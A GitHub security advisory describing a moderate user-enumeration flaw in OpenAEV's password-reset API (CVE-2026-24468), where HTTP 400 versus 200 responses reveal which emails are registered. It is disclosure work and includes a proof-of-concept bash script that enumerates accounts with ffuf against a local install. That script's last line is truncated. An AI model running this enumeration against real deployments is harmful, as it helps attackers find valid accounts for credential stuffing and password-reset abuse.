Username/Email Enumeration Through Differential HTTP Responses in Password Reset API

Moderate **antoinemzs** published **GHSA-v6rg-hf9w-f8ph** 4 days ago

Package

src/main/java/io/openaev/rest/user/UserApi.java (OpenAEV)

Affected versions	Patched versions
> 1.11.0	2.0.13

Description

Summary

The password reset endpoint leaks email existence information through different HTTP response codes, allowing unauthenticated attackers to enumerate valid emails that are registered to OpenAEV.

Details

The /api/reset endpoint behaves differently depending on whether the supplied username exists in the system. When a non-existent email is provided in the login parameter, the endpoint returns an HTTP 400 response (Bad Request). When a valid email is supplied, the endpoint responds with HTTP 200.

The vulnerability is in the UserApi:passwordReset function.

This difference in server responses creates an observable discrepancy that allows an attacker to reliably determine which emails are registered in the application. By automating requests with a list of possible email addresses, an attacker can quickly build a list of valid accounts without any authentication.

The endpoint should return a consistent response regardless of whether the username exists in order to prevent account enumeration.

OpenAEV versions above 1.11.0 are vulnerable, the vulnerability was introduced in this commit.

PoC

Step 0: Make sure you are on a Linux system.

Step 1: Install `ffuf`

Step 1: Step 1: Install OpenAEV with your preferred method (e.g. docker compose) and note down the created admin account email. In the docker compose case, this account is created based on the .env file.

Step 2: Ensure OpenAEV is reachable on localhost:8080 from the attacker machine.

Step 3: Copy the following script into a file (e.g. exploit.sh) and change `<<ADD AN EXISTING EMAIL HERE>>` to the email of the account that you created in Step 1.

```
#!/bin/env bash

# create "./possible_users" if not exists
if [ ! -f "possible_users" ]; then
    echo "Creating possible users file"

    cat > "./possible_users" <<EOF
user1@organization.com
user2@organization.com
user3@organization.com
user4@organization.com
user5@organization.com
user6@organization.com
user7@organization.com
user8@organization.com
user9@organization.com
<<ADD AN EXISTING EMAIL HERE>>
user10@organization.com
user11@organization.com
user12@organization.com
user13@organization.com
user14@organization.com
user15@organization.com
user16@organization.com
user17@organization.com
user18@organization.com
user19@organization.com
user20@organization.com
user21@organization.com
user22@organization.com
user23@organization.com
user24@organization.com
user25@organization.com
user26@organization.com
user27@organization.com
user28@organization.com
user29@organization.com
user30@organization.com
EOF
```

```
fi

echo "Identifying valid users (slow mode)"
ffuf -t 1 -s -u http://localhost:8080/api/reset -w possible_users -H 'Content-Type: appl
```

Step 4: Run the file you created with `bash ./exploit.sh`

Impact

Username enumeration weakens the security posture of the application. It enables attacks such as password reset abuse (please refer to my other report), credential stuffing, and brute-force attempts against confirmed accounts.

Severity

Moderate 5.3 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	Low
Integrity	None
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CVE ID

CVE-2026-24468

Weaknesses

▶ CWE-204

Credits

Dogru-Isim	Finder
antoinemzs	Remediation developer